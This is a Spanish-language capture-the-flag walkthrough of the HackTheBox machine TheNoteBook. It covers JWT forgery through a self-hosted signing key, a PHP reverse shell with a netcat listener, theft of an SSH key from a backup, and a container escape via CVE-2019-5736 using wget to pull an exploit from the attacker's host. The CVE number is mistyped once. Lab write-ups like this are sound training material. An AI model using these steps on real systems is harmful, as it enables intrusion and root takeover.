HackTheBox - TheNoteBook

3 minuto(s) de lectura

TheNoteBook Write HTB

  • Pasos

    1-> Escaneo de la ip con nmap
    2-> Fuzzeo de la web
    3-> Registro y login usuario
    4-> Tratamiento de la cookie
    5-> Creacion de una llave privada
    6-> Acceder al Admin
    7-> Shell Upload
    8-> Descargar Backup
    9-> Escalar privilegios
    10-> Escapar del contenedor

IP_Machine: 10.10.10.230

Escaneo de la ip con nmap

nmap -sSV –min-rate 3000 –open -n -Pn 10.10.10.230

Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-09 13:24 CET
Nmap scan report for 10.10.10.230
Host is up (0.20s latency).
Not shown: 979 closed ports, 19 filtered ports
Some closed ports may be reported as filtered due to –defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Agreguemos la IP(10.10.10.230) al /etc/hosts
Ya puestos en el navegador accederemos a thenotebook.htb pues el puerto 80 esta abierto

Fuzzeo de la web

gobuster dir -u http://thenotebook.htb/ -w /usr/share/wordlists/dirb/common.txt -x .asp,.txt,.aspx,.php,.html -t 60

Fuzzeando la web nos encontramos con un panel de admin
https://thenotebook.htb/admin Code:403

Registro y login usuario

Fijense en la pantalla de bienvenida:

Welcome back para que una web nos muestre esto, de alguna u otra manera el servidor debe tener una flag en la peticion que nos reconozca el usuario.En este caso es una cookie de sesion.

Interceptaremos la peticion de la pestana Notes con burpsuite
Decodificando la cookie en base64

1: La variable typ hace referencia al tipo de token en este caso JWT(Json Web Token)
2: El parametro kid hace referencia a una llave privada
3: El algoritmo de la llave privada es RS256
4: En el payload hay una flag, admin_cap:0

Creacion de una llave privada

Creamos una llave privada y levantamos un servidor en python en la misma carpeta:

ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key
python -m SimpleHTTPServer

Abrimos la web https://jwt.io y copiamos la cookie
Modificamos las flags

Copiamos la llave privada generada anteriormente al apartado PriveteKey

Nos copiamos el JWT en el apartado de la derecha

Acceder al Admin

Nota: Estar logueado para hacer lo siguiente

Reemplazar la cookie por la genereda en la web https://jwt.io
Accedemos a la url http://thenotebook.htb/admin

**Estamos dentro**   

 Con la extension **Cookie Editor** del navegador web  nos copiaremos el **JWT** generado por la web https://jwt.io    

Shell upload

  • Nota: Fijense en esta nota encontrada en el panel de admin

Entendemos que regularmente se hacen bakcups del sistema

Subimos una reverse_shell.php con un netcat a la escucha
y listo estamos dentro

Descargar Backup

Indagando un poco en el sistema nos encontramos en el directorio /var/backups un archivo llamado home.tar.gz

Desde el usario noah nos crearemos un servidor:

python3 -m http.server

Para luego desde nuestra maquina descargarnoslo.

Descomprimiendo el home.tar.gz y mediante la consola con un ls -la nos damos cuenta que oculta una carpeta .ssh con el id_rsa

ssh -i id_rsa noah@10.10.10.230

Flag user.txt se encuentra en /home/noah/user.txt

Escalar privilegios

Imprimiendo sudo -l vemos que podemos utilizar docker exec como `root`  

docker –version

Fijense en la version de docker y busquen exploit para elevar privilegios

sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh

Escapar del contenedor

Eventualmente buscando en la web damos con la vulnerabilidad CVE-2019-5367
https://github.com/feexd/pocs/tree/master/CVE-2019-5736
Nos descargamos el exploit y configuramos el payload.c.Luego compilamos con el comando.

make

Pondremos una shell de netcat a la escucha:

nc -nlvp 4555

Y listo corremos un servidor de python en nuestra maquina para descargar el exploit en la maquina victima.

python3 -m http.server

Con el binario wget nos lo descargamos y otorgamos permisos de ejecucion:

wget -r http://your_ip:8000/exploit

Nota: Para que el exploit nos funcione antes de ejecutar el pwn.sh abra una segundo terminal y conectece nuevamente por ssh al usario noah

Inmediatamente despues de haber ejecutado el exploit vaya a la
terminal abierta recientemente y ejecute:

sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh

We are Root

Flag root.txt = cat root/root.txt

  • Happy Hacking!